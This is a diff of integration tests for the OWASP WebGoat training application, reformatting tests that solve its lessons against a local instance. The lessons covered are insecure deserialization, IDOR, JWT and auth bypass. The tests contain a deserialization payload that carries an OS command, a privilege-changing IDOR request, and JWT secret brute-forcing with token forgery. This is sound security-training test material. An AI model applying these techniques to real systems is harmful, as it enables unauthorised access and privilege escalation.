+import org.dummy.insecure.framework.VulnerableTaskHolder;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
 
 public class DeserializationIntegrationTest extends IntegrationTest {
 
-    private static String OS = System.getProperty("os.name").toLowerCase();
+  private static String OS = System.getProperty("os.name").toLowerCase();
 
-    @Test
+  @Test
-    public void runTests() throws IOException {
+  public void runTests() throws IOException {
-        startLesson("InsecureDeserialization");
+    startLesson("InsecureDeserialization");
 
-        Map<String, Object> params = new HashMap<>();
+    Map<String, Object> params = new HashMap<>();
-        params.clear();
+    params.clear();
-
-        if (OS.indexOf("win") > -1) {
-            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
-        } else {
-            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
-        }
-        checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
-
-        checkResults("/InsecureDeserialization/");
 
+    if (OS.indexOf("win") > -1) {
+      params.put(
+          "token",
+          SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
+    } else {
+      params.put(
+          "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
     }
+    checkAssignment(url("InsecureDeserialization/task"), params, true);
 
-
+    checkResults("/InsecureDeserialization/");
+  }
 }

src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java

@@ -61,7 +61,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.clear();
     params.put(
         "question_0_solution",
-        "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
+        "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+            + " website.");
     params.put(
         "question_1_solution",
         "Solution 1: By changing the names and emails of one or more users stored in a database.");
@@ -71,7 +72,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put(
         "question_3_solution",
         "Solution 2: The systems security is compromised even if only one goal is harmed.");
-    checkAssignment(url("/WebGoat/cia/quiz"), params, true);
+    checkAssignment(url("cia/quiz"), params, true);
     checkResults("/cia/");
   }
 
@@ -94,7 +95,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
       Map<String, Object> params = new HashMap<>();
       params.clear();
       params.put("payload", solution);
-      checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
+      checkAssignment(url("VulnerableComponents/attack1"), params, true);
       checkResults("/VulnerableComponents/");
     }
   }
@@ -106,7 +107,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.clear();
     params.put("username", "CaptainJack");
     params.put("password", "BlackPearl");
-    checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
+    checkAssignment(url("InsecureLogin/task"), params, true);
     checkResults("/InsecureLogin/");
   }
 
@@ -116,7 +117,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     Map<String, Object> params = new HashMap<>();
     params.clear();
     params.put("password", "ajnaeliclm^&&@kjn.");
-    checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
+    checkAssignment(url("SecurePasswords/assignment"), params, true);
     checkResults("SecurePasswords/");
 
     startLesson("AuthBypass");
@@ -126,7 +127,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put("jsEnabled", "1");
     params.put("verifyMethod", "SEC_QUESTIONS");
     params.put("userId", "12309746");
-    checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
+    checkAssignment(url("auth-bypass/verify-account"), params, true);
     checkResults("/auth-bypass/");
 
     startLesson("HttpProxies");
@@ -137,8 +138,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
             .cookie("JSESSIONID", getWebGoatCookie())
             .header("x-request-intercepted", "true")
             .contentType(ContentType.JSON)
-            .get(
+            .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
-                url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
             .then()
             .statusCode(200)
             .extract()
@@ -164,7 +164,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
             .header("webgoat-requested-by", "dom-xss-vuln")
             .header("X-Requested-With", "XMLHttpRequest")
             .formParams(params)
-            .post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
+            .post(url("CrossSiteScripting/phone-home-xss"))
             .then()
             .statusCode(200)
             .extract()
@@ -173,12 +173,12 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
 
     params.clear();
     params.put("successMessage", secretNumber);
-    checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
+    checkAssignment(url("ChromeDevTools/dummy"), params, true);
 
     params.clear();
     params.put("number", "24");
     params.put("network_num", "24");
-    checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
+    checkAssignment(url("ChromeDevTools/network"), params, true);
 
     checkResults("/ChromeDevTools/");
   }
@@ -193,7 +193,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put("jsEnabled", "1");
     params.put("verifyMethod", "SEC_QUESTIONS");
     params.put("userId", "12309746");
-    checkAssignment(url("/auth-bypass/verify-account"), params, true);
+    checkAssignment(url("auth-bypass/verify-account"), params, true);
     checkResults("/auth-bypass/");
   }
 
@@ -204,7 +204,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.clear();
     params.put("param1", "secr37Value");
     params.put("param2", "Main");
-    checkAssignment(url("/lesson-template/sample-attack"), params, true);
+    checkAssignment(url("lesson-template/sample-attack"), params, true);
     checkResults("/lesson-template/");
   }
 }

src/it/java/org/owasp/webgoat/IDORIntegrationTest.java

@@ -1,13 +1,12 @@
 package org.owasp.webgoat;
 
-
 import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
-import java.io.IOException;
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
@@ -15,84 +14,87 @@ import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
 
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import lombok.SneakyThrows;
-
 public class IDORIntegrationTest extends IntegrationTest {
 
-	@BeforeEach
+  @BeforeEach
-    @SneakyThrows
+  public void init() {
-    public void init() {
+    startLesson("IDOR");
-    	startLesson("IDOR");        
+  }
-    }
 
-    @TestFactory
+  @TestFactory
-    Iterable<DynamicTest> testIDORLesson() {
+  Iterable<DynamicTest> testIDORLesson() {
-    	return Arrays.asList(
+    return Arrays.asList(
-    			dynamicTest("login",()-> loginIDOR()),
+        dynamicTest("assignment 2 - login", this::loginIDOR),
-    			dynamicTest("profile", () -> profile())
+        dynamicTest("profile", this::profile));
-    			);
+  }
-    }
 
-    @AfterEach
+  @AfterEach
-    public void shutdown() throws IOException {
+  public void shutdown() {
-        checkResults("/IDOR");        
+    checkResults("/IDOR");
-    }
+  }
 
-    private void loginIDOR() throws IOException {
+  private void loginIDOR() {
 
-    	Map<String, Object> params = new HashMap<>();
+    Map<String, Object> params = new HashMap<>();
-        params.clear();
+    params.put("username", "tom");
-        params.put("username", "tom");
+    params.put("password", "cat");
-        params.put("password", "cat");
 
+    checkAssignment(url("IDOR/login"), params, true);
+  }
 
-        checkAssignment(url("/WebGoat/IDOR/login"), params, true);
+  private void profile() {
 
-    }
+    // View profile - assignment 3a
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("IDOR/profile"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("userId"),
+        CoreMatchers.is("2342384"));
 
-    private void profile() {
+    // Show difference - assignment 3b
-    	MatcherAssert.assertThat(
+    Map<String, Object> params = new HashMap<>();
-                RestAssured.given()
+    params.put("attributes", "userId,role");
-                        .when()
+    checkAssignment(url("IDOR/diff-attributes"), params, true);
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/IDOR/profile"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("userId"), CoreMatchers.is("2342384"));
-    	Map<String, Object> params = new HashMap<>();
-    	params.clear();
-        params.put("attributes", "userId,role");
-        checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
-        params.clear();
-        params.put("url", "WebGoat/IDOR/profile/2342384");
-        checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
 
-        MatcherAssert.assertThat(
+    // View profile another way - assignment 4
-                RestAssured.given()
+    params.clear();
-                        .when()
+    params.put("url", "WebGoat/IDOR/profile/2342384");
-                        .relaxedHTTPSValidation()
+    checkAssignment(url("IDOR/profile/alt-path"), params, true);
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/IDOR/profile/2342388"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
 
-        MatcherAssert.assertThat(
+    // assignment 5a
-                RestAssured.given()
+    MatcherAssert.assertThat(
-                        .when()
+        RestAssured.given()
-                        .relaxedHTTPSValidation()
+            .when()
-                        .cookie("JSESSIONID", getWebGoatCookie())    
+            .relaxedHTTPSValidation()
-                        .contentType(ContentType.JSON) //part of the lesson
+            .cookie("JSESSIONID", getWebGoatCookie())
-                        .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
+            .get(url("IDOR/profile/2342388"))
-                        .put(url("/WebGoat/IDOR/profile/2342388"))
+            .then()
-                        .then()
+            .statusCode(200)
-                        .statusCode(200)
+            .extract()
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));       
+            .path("lessonCompleted"),
-        
+        CoreMatchers.is(true));
-        
-    }
 
+    // assignment 5b
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON) // part of the lesson
+            .body(
+                "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+                    + " \"userId\":\"2342388\"}")
+            .put(url("IDOR/profile/2342388"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 }

src/it/java/org/owasp/webgoat/IntegrationTest.java

@@ -1,231 +1,273 @@
 package org.owasp.webgoat;
 
+import static io.restassured.RestAssured.given;
+
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import java.util.Map;
 import lombok.Getter;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
-
+import org.springframework.http.HttpStatus;
-import java.util.Map;
-import java.util.Objects;
-
-import static io.restassured.RestAssured.given;
 
 public abstract class IntegrationTest {
 
-    private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
+  private static String webGoatPort = System.getenv().getOrDefault("WEBGOAT_PORT", "8080");
-    @Getter
+  private static String webGoatContext =
-    private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
+      System.getenv().getOrDefault("WEBGOAT_CONTEXT", "/WebGoat/");
-    private static boolean useSSL = false;
-    private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
-    private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
-    @Getter
-    private String webGoatCookie;
-    @Getter
-    private String webWolfCookie;
-    @Getter
-    private String user = "webgoat";
 
-    protected String url(String url) {
+  @Getter private static String webWolfPort = System.getenv().getOrDefault("WEBWOLF_PORT", "9090");
-        url = url.replaceFirst("/WebGoat/", "");
+
-        url = url.replaceFirst("/WebGoat", "");
+  @Getter
-        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
+  private static String webWolfHost = System.getenv().getOrDefault("WEBWOLF_HOST", "127.0.0.1");
-        return webgoatUrl + url;
+
+  @Getter
+  private static String webGoatHost = System.getenv().getOrDefault("WEBGOAT_HOST", "127.0.0.1");
+
+  private static String webWolfContext =
+      System.getenv().getOrDefault("WEBWOLF_CONTEXT", "/WebWolf/");
+
+  private static boolean useSSL =
+      Boolean.valueOf(System.getenv().getOrDefault("WEBGOAT_SSLENABLED", "false"));
+  private static String webgoatUrl =
+      (useSSL ? "https://" : "http://") + webGoatHost + ":" + webGoatPort + webGoatContext;
+  private static String webWolfUrl = "http://" + webWolfHost + ":" + webWolfPort + webWolfContext;
+  @Getter private String webGoatCookie;
+  @Getter private String webWolfCookie;
+  @Getter private final String user = "webgoat";
+
+  protected String url(String url) {
+    return webgoatUrl + url;
+  }
+
+  protected String webWolfUrl(String url) {
+    return webWolfUrl + url;
+  }
+
+  protected String webWolfFileUrl(String fileName) {
+    return webWolfUrl("files") + "/" + getUser() + "/" + fileName;
+  }
+
+  @BeforeEach
+  public void login() {
+    String location =
+        given()
+            .when()
+            .relaxedHTTPSValidation()
+            .formParam("username", user)
+            .formParam("password", "password")
+            .post(url("login"))
+            .then()
+            .cookie("JSESSIONID")
+            .statusCode(302)
+            .extract()
+            .header("Location");
+    if (location.endsWith("?error")) {
+      webGoatCookie =
+          RestAssured.given()
+              .when()
+              .relaxedHTTPSValidation()
+              .formParam("username", user)
+              .formParam("password", "password")
+              .formParam("matchingPassword", "password")
+              .formParam("agree", "agree")
+              .post(url("register.mvc"))
+              .then()
+              .cookie("JSESSIONID")
+              .statusCode(302)
+              .extract()
+              .cookie("JSESSIONID");
+    } else {
+      webGoatCookie =
+          given()
+              .when()
+              .relaxedHTTPSValidation()
+              .formParam("username", user)
+              .formParam("password", "password")
+              .post(url("login"))
+              .then()
+              .cookie("JSESSIONID")
+              .statusCode(302)
+              .extract()
+              .cookie("JSESSIONID");
     }
 
-    protected String webWolfUrl(String url) {
+    webWolfCookie =
-        url = url.replaceFirst("/WebWolf/", "");
-        url = url.replaceFirst("/WebWolf", "");
-        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-        return webWolfUrl + url;
-    }
-
-    @BeforeEach
-    public void login() {
-        String location = given()
-                .when()
-                .relaxedHTTPSValidation()
-                .formParam("username", user)
-                .formParam("password", "password")
-                .post(url("login")).then()
-                .cookie("JSESSIONID")
-                .statusCode(302)
-                .extract().header("Location");
-        if (location.endsWith("?error")) {
-            webGoatCookie = RestAssured.given()
-                    .when()
-                    .relaxedHTTPSValidation()
-                    .formParam("username", user)
-                    .formParam("password", "password")
-                    .formParam("matchingPassword", "password")
-                    .formParam("agree", "agree")
-                    .post(url("register.mvc"))
-                    .then()
-                    .cookie("JSESSIONID")
-                    .statusCode(302)
-                    .extract()
-                    .cookie("JSESSIONID");
-        } else {
-            webGoatCookie = given()
-                    .when()
-                    .relaxedHTTPSValidation()
-                    .formParam("username", user)
-                    .formParam("password", "password")
-                    .post(url("login")).then()
-                    .cookie("JSESSIONID")
-                    .statusCode(302)
-                    .extract().cookie("JSESSIONID");
-        }
-
-        webWolfCookie = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .formParam("username", user)
-                .formParam("password", "password")
-                .post(webWolfUrl("login"))
-                .then()
-                .statusCode(302)
-                .cookie("WEBWOLFSESSION")
-                .extract()
-                .cookie("WEBWOLFSESSION");
-    }
-
-    @AfterEach
-    public void logout() {
         RestAssured.given()
-                .when()
+            .when()
-                .relaxedHTTPSValidation()
+            .relaxedHTTPSValidation()
-                .get(url("logout"))
+            .formParam("username", user)
-                .then()
+            .formParam("password", "password")
-                .statusCode(200);
+            .post(webWolfUrl("login"))
-    }
+            .then()
+            .statusCode(302)
+            .cookie("WEBWOLFSESSION")
+            .extract()
+            .cookie("WEBWOLFSESSION");
+  }
 
-    public void startLesson(String lessonName) {
+  @AfterEach
-        startLesson(lessonName, false);
+  public void logout() {
-    }
+    RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
+  }
 
-    public void startLesson(String lessonName, boolean restart) {
+  public void startLesson(String lessonName) {
+    startLesson(lessonName, false);
+  }
+
+  public void startLesson(String lessonName, boolean restart) {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(url(lessonName + ".lesson.lesson"))
+        .then()
+        .statusCode(200);
+
+    if (restart) {
+      RestAssured.given()
+          .when()
+          .relaxedHTTPSValidation()
+          .cookie("JSESSIONID", getWebGoatCookie())
+          .get(url("service/restartlesson.mvc"))
+          .then()
+          .statusCode(200);
+    }
+  }
+
+  public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
         RestAssured.given()
-                .when()
+            .when()
-                .relaxedHTTPSValidation()
+            .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url(lessonName + ".lesson.lesson"))
+            .formParams(params)
-                .then()
+            .post(url)
-                .statusCode(200);
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
 
-        if (restart) {
+  public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
-            RestAssured.given()
+    MatcherAssert.assertThat(
-                    .when()
+        RestAssured.given()
-                    .relaxedHTTPSValidation()
+            .when()
-                    .cookie("JSESSIONID", getWebGoatCookie())
+            .relaxedHTTPSValidation()
-                    .get(url("service/restartlesson.mvc"))
+            .cookie("JSESSIONID", getWebGoatCookie())
-                    .then()
+            .formParams(params)
-                    .statusCode(200);
+            .put(url)
-        }
+            .then()
-    }
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
 
-    public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
+  // TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
-        MatcherAssert.assertThat(
+  // only required to be in the same package)
-                RestAssured.given()
+  public void checkResults(String prefix) {
-                        .when()
+    checkResults();
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .post(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
 
-    public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
-        MatcherAssert.assertThat(
+        RestAssured.given()
-                RestAssured.given()
+            .when()
-                        .when()
+            .relaxedHTTPSValidation()
-                        .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
-                        .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/lessonoverview.mvc"))
-                        .formParams(params)
+            .then()
-                        .put(url)
+            .statusCode(200)
-                        .then()
+            .extract()
-                        .statusCode(200)
+            .jsonPath()
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+            .getList("assignment.path"),
-    }
+        CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
+  }
 
-    //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
+  public void checkResults() {
-    public void checkResults(String prefix) {
+    var result =
-        checkResults();
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/lessonoverview.mvc"))
+            .andReturn();
 
-        MatcherAssert.assertThat(RestAssured.given()
+    MatcherAssert.assertThat(
-                .when()
+        result.then().statusCode(200).extract().jsonPath().getList("solved"),
-                .relaxedHTTPSValidation()
+        CoreMatchers.everyItem(CoreMatchers.is(true)));
-                .cookie("JSESSIONID", getWebGoatCookie())
+  }
-                .get(url("service/lessonoverview.mvc"))
-                .then()
-                .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
 
-    }
+  public void checkAssignment(
+      String url, ContentType contentType, String body, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(contentType)
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .body(body)
+            .post(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
 
-    public void checkResults() {
+  public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
-        var result = RestAssured.given()
+    MatcherAssert.assertThat(
-                .when()
+        RestAssured.given()
-                .relaxedHTTPSValidation()
+            .when()
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .relaxedHTTPSValidation()
-                .get(url("service/lessonoverview.mvc"))
+            .cookie("JSESSIONID", getWebGoatCookie())
-                .andReturn();
+            .queryParams(params)
+            .get(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
 
-        MatcherAssert.assertThat(result.then()
+  public String getWebWolfFileServerLocation() {
-                .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
+    String result =
-    }
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrl("file-server-location"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.replace("%20", " ");
+    return result;
+  }
 
-    public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
+  public String webGoatServerDirectory() {
-        MatcherAssert.assertThat(
+    return RestAssured.given()
-                RestAssured.given()
+        .when()
-                        .when()
+        .relaxedHTTPSValidation()
-                        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
-                        .contentType(contentType)
+        .get(url("server-directory"))
-                        .cookie("JSESSIONID", getWebGoatCookie())
+        .then()
-                        .body(body)
+        .extract()
-                        .post(url)
+        .response()
-                        .then()
+        .getBody()
-                        .statusCode(200)
+        .asString();
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+  }
-    }
-
-    public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .queryParams(params)
-                        .get(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
-
-    public String getWebWolfFileServerLocation() {
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/file-server-location"))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.replace("%20", " ");
-        return result;
-    }
-
-    public String webGoatServerDirectory() {
-        return RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/server-directory"))
-                .then()
-                .extract().response().getBody().asString();
-    }
 
+  public void cleanMailbox() {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .delete(webWolfUrl("mail"))
+        .then()
+        .statusCode(HttpStatus.ACCEPTED.value());
+  }
 }
-

src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java

@@ -1,24 +1,8 @@
 package org.owasp.webgoat;
 
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.security.InvalidKeyException;
-import java.security.NoSuchAlgorithmException;
-import java.time.Instant;
-import java.util.Base64;
-import java.util.Calendar;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
-
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.Test;
-
 import com.fasterxml.jackson.databind.JsonNode;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.node.ObjectNode;
-
 import io.jsonwebtoken.Header;
 import io.jsonwebtoken.JwsHeader;
 import io.jsonwebtoken.Jwt;
@@ -27,190 +11,293 @@ import io.jsonwebtoken.Jwts;
 import io.jsonwebtoken.SignatureAlgorithm;
 import io.jsonwebtoken.impl.TextCodec;
 import io.restassured.RestAssured;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.security.InvalidKeyException;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.NoSuchAlgorithmException;
+import java.security.interfaces.RSAPublicKey;
+import java.time.Instant;
+import java.util.Base64;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.jose4j.jwk.JsonWebKeySet;
+import org.jose4j.jwk.RsaJsonWebKey;
+import org.junit.jupiter.api.Test;
 import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
 
 public class JWTLessonIntegrationTest extends IntegrationTest {
 
-    @Test
+  @Test
-    public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
+  public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
-    	startLesson("JWT");
+    startLesson("JWT");
 
-    	decodingToken();
+    decodingToken();
 
-        resetVotes();
+    resetVotes();
 
-        findPassword();
+    findPassword();
 
-        buyAsTom();
+    buyAsTom();
 
-        deleteTom();
+    deleteTomThroughKidClaim();
 
-		quiz();
+    deleteTomThroughJkuClaim();
 
-        checkResults("/JWT/");
+    quiz();
+
+    checkResults("/JWT/");
+  }
+
+  private String generateToken(String key) {
+
+    return Jwts.builder()
+        .setIssuer("WebGoat Token Builder")
+        .setAudience("webgoat.org")
+        .setIssuedAt(Calendar.getInstance().getTime())
+        .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+        .setSubject("tom@webgoat.org")
+        .claim("username", "WebGoat")
+        .claim("Email", "tom@webgoat.org")
+        .claim("Role", new String[] {"Manager", "Project Administrator"})
+        .signWith(SignatureAlgorithm.HS256, key)
+        .compact();
+  }
+
+  private String getSecretToken(String token) {
+    for (String key : JWTSecretKeyEndpoint.SECRETS) {
+      try {
+        Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
+      } catch (JwtException e) {
+        continue;
+      }
+      return TextCodec.BASE64.encode(key);
     }
+    return null;
+  }
 
-    private String generateToken(String key) {
+  private void decodingToken() {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParam("jwt-encode-user", "user")
+            .post(url("JWT/decode"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-    	return Jwts.builder()
+  private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
-		.setIssuer("WebGoat Token Builder")
-		.setAudience("webgoat.org")
-		.setIssuedAt(Calendar.getInstance().getTime())
-		.setExpiration(Date.from(Instant.now().plusSeconds(60)))
-		.setSubject("tom@webgoat.org")
-		.claim("username", "WebGoat")
-		.claim("Email", "tom@webgoat.org")
-		.claim("Role", new String[] {"Manager", "Project Administrator"})
-		.signWith(SignatureAlgorithm.HS256, key).compact();
-    }
 
-    private String getSecretToken(String token) {
+    String accessToken =
-    	for (String key : JWTSecretKeyEndpoint.SECRETS) {
+        RestAssured.given()
-    		try {
+            .when()
-    			Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
+            .relaxedHTTPSValidation()
-    		} catch (JwtException e) {
+            .cookie("JSESSIONID", getWebGoatCookie())
-    			continue;
+            .get(url("JWT/secret/gettoken"))
-    		}
+            .then()
-    		return TextCodec.BASE64.encode(key);
+            .extract()
-    	}
+            .response()
-    	return null;
+            .asString();
-    }
 
-	private void decodingToken() {
+    String secret = getSecretToken(accessToken);
-		MatcherAssert.assertThat(
-				RestAssured.given()
-						.when()
-						.relaxedHTTPSValidation()
-						.cookie("JSESSIONID", getWebGoatCookie())
-						.formParam("jwt-encode-user", "user")
-						.post(url("/WebGoat/JWT/decode"))
-						.then()
-						.statusCode(200)
-						.extract().path("lessonCompleted"), CoreMatchers.is(true));
 
-	}
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParam("token", generateToken(secret))
+            .post(url("JWT/secret"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-    private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
+  private void resetVotes() throws IOException {
+    String accessToken =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("JWT/votings/login?user=Tom"))
+            .then()
+            .extract()
+            .cookie("access_token");
 
-    	String accessToken = RestAssured.given()
+    String header = accessToken.substring(0, accessToken.indexOf("."));
-                .when()
+    header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/WebGoat/JWT/secret/gettoken"))
-                .then()
-                .extract().response().asString();
 
-    	String secret = getSecretToken(accessToken);
+    String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
+    body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
 
-    	MatcherAssert.assertThat(
+    ObjectMapper mapper = new ObjectMapper();
-                RestAssured.given()
+    JsonNode headerNode = mapper.readTree(header);
